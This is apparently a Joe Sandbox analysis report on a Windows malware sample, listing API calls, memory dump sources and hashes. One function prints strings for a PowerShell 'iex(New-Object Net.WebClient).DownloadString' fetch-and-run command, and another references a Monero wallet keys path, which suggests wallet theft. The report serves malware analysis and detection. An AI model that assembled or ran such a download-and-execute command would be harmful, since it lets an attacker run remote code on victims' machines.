                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: File$CloseCreateHandleSize
                                    • String ID: >=$>=
                                    • API String ID: 1378416451-3543398223
                                    • Opcode ID: bf0b656c9b5bbfbd7eeb04f7bb61d8264c52be36c4c606679ecec545ca2a6114
                                    • Instruction ID: fa2cac9e173a32a6220d350068ffffc4cefa9d8e1393c58aac9e3368aeaffc38
                                    • Opcode Fuzzy Hash: bf0b656c9b5bbfbd7eeb04f7bb61d8264c52be36c4c606679ecec545ca2a6114
                                    • Instruction Fuzzy Hash: 7FF0A438E00308BBDB20DFB5EC88F9E77BAAB48704F10D594FA51AB184D67596018B80
                                    Function 00E24300 Relevance: 9.1, APIs: 6, Instructions: 124registrystringCOMMON
                                    Download Yara Rule
                                    APIs
                                    • memset.MSVCRT ref: 00E24325
                                    • RegOpenKeyExA.ADVAPI32(80000001,0099E748,00000000,00020119,?), ref: 00E24344
                                    • RegQueryValueExA.ADVAPI32(?,0099F3C8,00000000,00000000,00000000,000000FF), ref: 00E24368
                                    • RegCloseKey.ADVAPI32(?), ref: 00E24372
                                    • lstrcat.KERNEL32(?,00000000), ref: 00E24397
                                    • lstrcat.KERNEL32(?,0099F2F0), ref: 00E243AB
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: lstrcat$CloseOpenQueryValuememset
                                    • String ID:
                                    • API String ID: 2623679115-0
                                    • Opcode ID: 7f25e476a3196d8b4a1ed067fc48848c4c3aa01128c1fc71b2038c08efb45a59
                                    • Instruction ID: 784819ca7ffc47cb1e2e5069e392ea31f402f9509c987a44e8d254a05cc9e4de
                                    • Opcode Fuzzy Hash: 7f25e476a3196d8b4a1ed067fc48848c4c3aa01128c1fc71b2038c08efb45a59
                                    • Instruction Fuzzy Hash: 8841CBB69001086BDF24EBA0FC46FEE73BDAB98700F00459CB7565A1C5EE7656C88BD1
                                    Function 00E1A110 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON
                                    Download Yara Rule
                                    APIs
                                    • CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00E1A13C
                                    • GetFileSizeEx.KERNEL32(000000FF,?), ref: 00E1A161
                                    • LocalAlloc.KERNEL32(00000040,?), ref: 00E1A181
                                    • ReadFile.KERNEL32(000000FF,?,00000000,00E1148F,00000000), ref: 00E1A1AA
                                    • LocalFree.KERNEL32(00E1148F), ref: 00E1A1E0
                                    • CloseHandle.KERNEL32(000000FF), ref: 00E1A1EA
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: File$Local$AllocCloseCreateFreeHandleReadSize
                                    • String ID:
                                    • API String ID: 2311089104-0
                                    • Opcode ID: 334d2e32598ca80df67824a649dddcaa399fc75e038bad6a28a46e6c7a15f3b6
                                    • Instruction ID: abbcbbacf178f820582ea4e548259568adf7185fe51347649e98cce4febb50a1
                                    • Opcode Fuzzy Hash: 334d2e32598ca80df67824a649dddcaa399fc75e038bad6a28a46e6c7a15f3b6
                                    • Instruction Fuzzy Hash: 85312EB4A01209EFDB14CFA4D845BEE77B5BF48704F148168F911BB284D774AA81CFA1
                                    Function 00E2CB7E Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 129COMMONLIBRARYCODE
                                    Download Yara Rule
                                    APIs
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: String___crt$Typememset
                                    • String ID:
                                    • API String ID: 3530896902-3916222277
                                    • Opcode ID: 38abe3c77c6e5573dca20f7b5d840e92e9ca0f80477a8a236b94eb5a145043cf
                                    • Instruction ID: fdfbd1e76ce00e20883563950f103d7d075a4e39171827d7667670e36ab10a81
                                    • Opcode Fuzzy Hash: 38abe3c77c6e5573dca20f7b5d840e92e9ca0f80477a8a236b94eb5a145043cf
                                    • Instruction Fuzzy Hash: C541E8B01047AC5FDB218B24DC85FFFBBE89B45708F2454E8E98AA6142D2719A44DF60
                                    Function 00E249D0 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON
                                    Download Yara Rule
                                    APIs
                                    • lstrcat.KERNEL32(?,0099F410), ref: 00E24A2B
                                      • Part of subcall function 00E28F70: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00E28F9B
                                    • lstrcat.KERNEL32(?,00000000), ref: 00E24A51
                                    • lstrcat.KERNEL32(?,?), ref: 00E24A70
                                    • lstrcat.KERNEL32(?,?), ref: 00E24A84
                                    • lstrcat.KERNEL32(?,0098A6A8), ref: 00E24A97
                                    • lstrcat.KERNEL32(?,?), ref: 00E24AAB
                                    • lstrcat.KERNEL32(?,0099E488), ref: 00E24ABF
                                      • Part of subcall function 00E2AA50: lstrcpy.KERNEL32(00E30E1A,00000000), ref: 00E2AA98
                                      • Part of subcall function 00E28F20: GetFileAttributesA.KERNEL32(00000000,?,00E11B94,?,?,00E3577C,?,?,00E30E22), ref: 00E28F2F
                                      • Part of subcall function 00E247C0: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00E247D0
                                      • Part of subcall function 00E247C0: RtlAllocateHeap.NTDLL(00000000), ref: 00E247D7
                                      • Part of subcall function 00E247C0: wsprintfA.USER32 ref: 00E247F6
                                      • Part of subcall function 00E247C0: FindFirstFileA.KERNEL32(?,?), ref: 00E2480D
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
                                    • String ID:
                                    • API String ID: 2540262943-0
                                    • Opcode ID: a74ede6c86167300b7a874fd00e1b3a5bb0a01b81571ccdfcd743e0ea1d83bff
                                    • Instruction ID: 311503621352c526ee3598d427847a502b7addbfbc4f273770acfbc74fad664f
                                    • Opcode Fuzzy Hash: a74ede6c86167300b7a874fd00e1b3a5bb0a01b81571ccdfcd743e0ea1d83bff
                                    • Instruction Fuzzy Hash: 473195F690021867DB28F7B0ED85EDD73BCAB58700F40458DB245A6049DE75A7C8CF94
                                    Function 00E22EE0 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON
                                    Download Yara Rule
                                    APIs
                                      • Part of subcall function 00E2AA50: lstrcpy.KERNEL32(00E30E1A,00000000), ref: 00E2AA98
                                      • Part of subcall function 00E2ACC0: lstrlen.KERNEL32(?,00998918,?,\Monero\wallet.keys,00E30E1A), ref: 00E2ACD5
                                      • Part of subcall function 00E2ACC0: lstrcpy.KERNEL32(00000000), ref: 00E2AD14
                                      • Part of subcall function 00E2ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00E2AD22
                                      • Part of subcall function 00E2AC30: lstrcpy.KERNEL32(00000000,?), ref: 00E2AC82
                                      • Part of subcall function 00E2AC30: lstrcat.KERNEL32(00000000), ref: 00E2AC92
                                      • Part of subcall function 00E2ABB0: lstrcpy.KERNEL32(?,00E30E1A), ref: 00E2AC15
                                    • ShellExecuteEx.SHELL32(0000003C), ref: 00E22FD5
                                    Strings
                                    • -nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00E22F14
                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00E22F54
                                    • ')", xrefs: 00E22F03
                                    • <, xrefs: 00E22F89
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
                                    • String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                    • API String ID: 3031569214-898575020
                                    • Opcode ID: 327271982e049667bdf8b58e40072cc6e1f3b215b168da25b41b492da87e5783
                                    • Instruction ID: f01a01f24ecf72e907f160ad07942e001790e526e52c95b0405abdcd8263efb2
                                    • Opcode Fuzzy Hash: 327271982e049667bdf8b58e40072cc6e1f3b215b168da25b41b492da87e5783
                                    • Instruction Fuzzy Hash: D9410F71D102189BDB14FFA0E862FDDBBB9AF10300F486469E00677192DF752A49CF51
                                    Function 00E8CBE2 Relevance: 7.6, APIs: 5, Instructions: 87COMMONLIBRARYCODE
                                    Download Yara Rule
                                    APIs
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: dllmain_raw$dllmain_crt_dispatch
                                    • String ID:
                                    • API String ID: 3136044242-0
                                    • Opcode ID: 234a4587e1df5c0bc1ce5882952f099010f88dbe2dfa5d5717c242a90a4fec11
                                    • Instruction ID: ad2182a34f43c74332ad05f86648f454d6b035243f3bfde2d38ba84708e71878
                                    • Opcode Fuzzy Hash: 234a4587e1df5c0bc1ce5882952f099010f88dbe2dfa5d5717c242a90a4fec11
                                    • Instruction Fuzzy Hash: 52218172D40618ABDB22BE55CD419BFBAA9EB82798F266115F90D77211C3304D41CBB0
                                    Function 00E27F90 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON
                                    Download Yara Rule
                                    APIs
                                    • GetProcessHeap.KERNEL32(00000000,00000104), ref: 00E27FC7
                                    • RtlAllocateHeap.NTDLL(00000000), ref: 00E27FCE
                                    • RegOpenKeyExA.ADVAPI32(80000002,0098BAA8,00000000,00020119,?), ref: 00E27FEE
                                    • RegQueryValueExA.ADVAPI32(?,0099E408,00000000,00000000,000000FF,000000FF), ref: 00E2800F
                                    • RegCloseKey.ADVAPI32(?), ref: 00E28022
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Heap$AllocateCloseOpenProcessQueryValue
                                    • String ID:
                                    • API String ID: 3225020163-0
                                    • Opcode ID: 4b87b944fc9598c6ffd484bbe89ac0a036c015de15d2bb1b1e6d0c77d362aa7f
                                    • Instruction ID: a2f3018cad63a3d9601eb45e73dd2c04cac74aa64af9042945b4b0671826147f
                                    • Opcode Fuzzy Hash: 4b87b944fc9598c6ffd484bbe89ac0a036c015de15d2bb1b1e6d0c77d362aa7f
                                    • Instruction Fuzzy Hash: 40118FB1A44305EBE710CB85ED46FAFBBB8EB04B10F104219F611AB284DB7A58008BA1
                                    Function 00E293F0 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON
                                    Download Yara Rule
                                    APIs
                                    • StrStrA.SHLWAPI(0099F458,00000000,00000000,?,00E19F71,00000000,0099F458,00000000), ref: 00E293FC
                                    • lstrcpyn.KERNEL32(010E7580,0099F458,0099F458,?,00E19F71,00000000,0099F458), ref: 00E29420
                                    • lstrlen.KERNEL32(00000000,?,00E19F71,00000000,0099F458), ref: 00E29437
                                    • wsprintfA.USER32 ref: 00E29457
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: lstrcpynlstrlenwsprintf
                                    • String ID: %s%s
                                    • API String ID: 1206339513-3252725368
                                    • Opcode ID: 04adc2dec78ec723048a33ffde8ec7394b7ede64c70df9e6a23a3efe953d2df0
                                    • Instruction ID: c381dfe02e09a9f337634a3992feb0d3729950124f75f02d4479c25c305b6484
                                    • Opcode Fuzzy Hash: 04adc2dec78ec723048a33ffde8ec7394b7ede64c70df9e6a23a3efe953d2df0
                                    • Instruction Fuzzy Hash: 81015E76500208FFDB08DFA9D888EAE7BB8EB08704F108248F9499B205D671EA40DBD1
                                    Function 00E112A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON
                                    Download Yara Rule
                                    APIs
                                    • GetProcessHeap.KERNEL32(00000000,00000104), ref: 00E112B4
                                    • RtlAllocateHeap.NTDLL(00000000), ref: 00E112BB
                                    • RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 00E112D7
                                    • RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 00E112F5
                                    • RegCloseKey.ADVAPI32(?), ref: 00E112FF
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Heap$AllocateCloseOpenProcessQueryValue
                                    • String ID:
                                    • API String ID: 3225020163-0
                                    • Opcode ID: bb825b5d2f215b7eb33c7f8fe1d083f5e0aca3b078f18c2557638e7cc7abf26e
                                    • Instruction ID: 49888f5dab3c687e99dccd889dc7f6dab2be2a1eaab64d9b882066599482cdea
                                    • Opcode Fuzzy Hash: bb825b5d2f215b7eb33c7f8fe1d083f5e0aca3b078f18c2557638e7cc7abf26e
                                    • Instruction Fuzzy Hash: 3E013179A40309BFDB10DFD5DC49FAEB7B8EB48B00F004198FA459B284D7759A00CB90
